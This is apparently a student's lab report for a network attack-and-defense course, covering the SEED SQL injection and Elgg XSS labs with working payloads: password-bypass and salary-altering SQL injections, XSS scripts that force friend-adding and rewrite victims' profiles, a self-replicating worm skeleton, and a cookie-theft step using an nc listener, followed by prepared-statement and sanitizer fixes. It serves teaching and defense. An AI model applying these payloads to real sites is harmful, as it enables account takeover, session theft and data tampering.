20212937 曾俊铭 《网络攻防实践》

20212937 曾俊铭 2021-2022-2 《网络攻防实践》实践报告

1.实践内容

  • 什么是sql注入呢?

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库

  • sql注入产生原因

sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于Java数据库连接JDBC而言,SQL注入攻击只对Statement有效,对PreparedStatement是无效的,这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。
如验证用户是否存在的SQL语句为:
用户名'and pswd='密码
如果在用户名字段中输入: 'or 1=1或是在密码字段中输入:'or 1=1

将绕过验证,但这种手段只对只对Statement有效,对PreparedStatement无效。相对Statement有以下优点:
1.防注入攻击
2.多次运行速度快
3.防止数据库缓冲区溢出
4.代码的可读性可维护性好
这四点使得PreparedStatement成为访问数据库的语句对象的首选,缺点是灵活性不够好,有些场合还是必须使用Statement。

  • sql注入原理

下面我们来说一下sql注入原理,以使读者对sql注入攻击有一个感性的认识,至于其他攻击,原理是一致的。

SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不背编译与执行。

  • XSS攻击
    概念:XSS攻击是指攻击者利用网站程序对用户输入过滤不足的缺陷,输入可以显示在页面上或者对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

实质:跨站脚本攻击本质上是一种将恶意脚本嵌入到当前页面中并执行的攻击方式。通常黑客通过“HTML注入”行为篡改网页,并插入恶意JavaScript(JS)脚本,从而在用户浏览网页时控制浏览器的行为。

产生原因:网站对用户提交的数据过滤不严格,导致用户提交的数据可以修改当前页面或者插入一段脚本。

XSS攻击通常在用户访问目标网站时或者之后进行某项动作时触发并执行

根据攻击代码存在的地点、是否被服务器存储及存在的形式和效果可分三类:
反射型XSS:浏览器—服务器交互
将用户输入的数据通过URL的形式直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据(黑客通常需要通过诱骗或者加密变形等方式,将恶意代码的链接发送给用户,用户触发后才能攻击成功)

存储型XSS:浏览器—服务器—数据库交互(可直接产生大范围危害,具有较强的稳定性)
web应用程序将用户输入的数据信息保存在服务端的数据库或者其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,只要用户访问具有XSS攻击脚本的网页时,就会触发攻击

DOM型XSS:浏览器—服务器交互(由于构造语句难度较大,比较少见)
是由JavaScript的DOM节点编程可以改变HTML代码的特性形成的XSS攻击,需要针对具体的JavaScript DOM代码进行分析,从而利用

要求

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2.实践过程

2.1 SQL 注入实验
1、熟悉SQL命令
(1)我们登录 MySQL 数据库, 使用命令mysql -u root -pseedubuntu
image

(2)利用系统已经创建的 Users 数据库, 使用命令use Users;
image

(3)查表, show tables;
image

(4)可以看到该数据库存在一个名为"credential"的表,查看这个表的详细信息,使用命令:select * from credential;
image

2、对 SELECT 语句的 SQL 注入攻击
(1)使用 SEED 访问已经搭建好的 Web 页面: www.SEEDLabSQLInjection.com
image

(2)利用快捷键ctrl+U查看该页面源码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验
image

(3)进入vim /var/www/SQLInjection/unsafe_home.php ,找到核心的SQL语句,发现其中where部分存在可以进行注入攻击的漏洞
image

利用注释特性,当变量input_uname为Admin' #时,这部分变成了:WHERE name= 'Admin' #' and Password='hashed_pwd'实际上,#后面的语句都被注释掉了,那这部分就变成:WHERE name= 'Admin',这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空:
image

成功登录,可以看见使用者的生日、薪酬等信息

3、对 UPDATE 语句的 SQL 注入攻击
(1)利用前面实验的漏洞,用Alice' #登录,可以看到对应的信息
image

(2)点击Edit Profile进入更新信息页面
image

(3)在unsafe_edit_backend.php中找到 SQL 语句,vim /var/www/SQLInjection/unsafe_edit_backend.php,发现不能对个人工资进行更新修改,知道 Alice 的编号是 10000,变量$input_nickname对应的就是用户输入的 NickName
image
image

首先我们对Alice的工资进行修改。 在NickName那里输入语句 ', salary='500000' where EID='10000';# 这样#后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000',直接修改了工资。查看profile发现已经修改成功,证明我们的攻击成功。
image

接下来修改其他人的工资。那么我们只要在Alice修改的界面的nickname输入', salary='1' where name='Boby';#

进入Boby的界面,我们发现工资已经成功修改。
image

  1. SQL对抗,修复上述SQL注入攻击漏洞

SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。

我们在unsafe_home.php页面中,对SELECT语句进行预处理

原来的语句:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password

FROM credential

WHERE name= 'inputuname′andPassword=′hashed_pwd'";

image

使用绑定参数的方法,修改为

sql=conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");

sql−>bindparam("ss",input_uname, $hashed_pwd);

然后在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。

原来的语句:

sql="UPDATEcredentialSETnickname=′input_nickname',email='inputemail′,address=′input_address',PhoneNumber='inputphonenumber′whereID=id;";

修改为

sql=conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");

sql−>bindparam("ssss",input_nickname, inputemail,input_address, $input_phonenumber);
image
image

2.2 XSS跨站脚本攻击实验

1.发布恶意消息
利用alice的账户alice和密码seedalice登录Elgg
image

Edit profile,在Brief description文本框输入:,点击Save保存
image

登录Boby账户,查看Alice的profile,确实弹出了XSS弹窗。可见我们攻击成功
image

2.弹窗显示cookie信息
将插入的js代码改成即可,然后用Boby查看Alice的profile

从Boby的页面弹进入Alice的页面时弹出提示框,并且显示当前的 cookie 信息
image

3.窃取受害者的cookies
可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。

使用命令,所以这里使用的是本地作为攻击者的服务器。
image

使用nc进行监听5555端口,使用指令nc -l 5555 -v。登录boby的账户并且查看Alice的profile就能够得到boby的cookie信息。
image

4.成为受害者的朋友
(1)登录Alice,访问Boby 的主页:http://www.xsslabelgg.com/profile/boby,使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友
image
image

2)可以看到此时浏览器发送的 POST 请求的地址http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652731529&__elgg_token=3R--Qcrz_7uJaAQ2DswcSQ
image

3)可以构造下面的脚本,用于添加其他好友

点击查看代码
</details><script type="text/javascript">   

window.onload = function ()   

{

var Ajax = null;

var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;

var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

 

    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

 

     //发送 Ajax 请求

       
     Ajax = new XMLHttpRequest();

     Ajax.open("GET", sendurl, true);

     Ajax.setRequestHeader("Host", "www.xsslabelgg.com");

     Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

     Ajax.send();

}

</script>

(4)将脚本放在 Alice 的About me文本框
image

(5)登录 Boby 访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,返回 Boby 主页,看到已经成功添加 Alice 为好友
image

5.修改受害者的信息
首先看看修改资料时要做那些事情。同样的,我们可以看到用户在修改自己的profile时发送的http请求的具体格式。在进入Edit profile页面后,点击Save后,可以看到具体的 Network 请求信息
image

下面这段程序就是构造的js程序了,主题部分在于构造那个content,其中的几个字段都是profile中的内容,需要修改什么直接修改就好。同时需要指定sendurl。这些内容都是从HTTP Header中得到的,然后ajax执行。

点击查看代码
<script type="text/javascript">

    window.onload = function(){

//JavaScript code to access user name, user guid, Time Stamp __elgg_ts

//and Security Token __elgg_token

    var userName=elgg.session.user.name;

    var guid="&guid="+elgg.session.user.guid;

    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

    var token="&__elgg_token="+elgg.security.token.__elgg_token;

 

var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;

 

var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

    

    var samyGuid=44;

    if(elgg.session.user.guid!=samyGuid){

    //Create and send Ajax request to modify profile

    var Ajax=null;

    Ajax=new XMLHttpRequest();

    Ajax.open("POST",sendurl,true);

        Ajax.setRequestHeader("Host","www.xsslabelgg.com");

        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

Ajax.send(content);

}

}

 

</script>

将上述代码同样放在Alice的简介中,然后用boby访问Alice的profile,即可成功修改boby的profile。
image

6.编写XSS蠕虫
编写代码,目的就是这段代码能够复制到其他用户那里,那么蠕虫目标就是完成了的,所以使用DOM来查看和使用HTML代码,innerHTML方法是开始和结束标签之间的HTML。。我们将下面的程序放在Alice的about me中。

点击查看代码
<script id="worm" type ="text/javascript">

    var headerTag = "<script id=\"worm\" type=\"text/javascript\">";

var jsCode = document.getElementById("worm").innerHTML;

var tailTag = "</" + "script>";

    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

    alert(jsCode);

</script>  

![image](https://img2022.cnblogs.com/blog/2773207/202205/2773207-20220522135339369-1311192731.png)

通过boby访问Alice的profile发现这段代码已经被成功的复制,说明我们的目标达到,利用DOM API成功的进行了蠕虫的复制。
image

7.对抗XSS攻击
Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed ,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。
image

下面我们查看Alice的profile,看看有没有效果了。可以看到,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。
image

3.学习中遇到的问题及解决

  • 问题1:监听不到信息
    image

  • 问题1解决方案:IP地址错误,重新查看IP地址

4.实践总结

这次试验对于SQL的注入攻击和XSS跨站脚本攻击有了一个基本的学习和练习,但自己对于代码还是比较陌生,在实验过程中为了在SeedUbuntu中使用VMware Tools也花了不少时间,希望下次实验能更顺利一点。

posted on 2022-05-21 13:48  曾俊铭  阅读(55)  评论(0编辑  收藏  举报

导航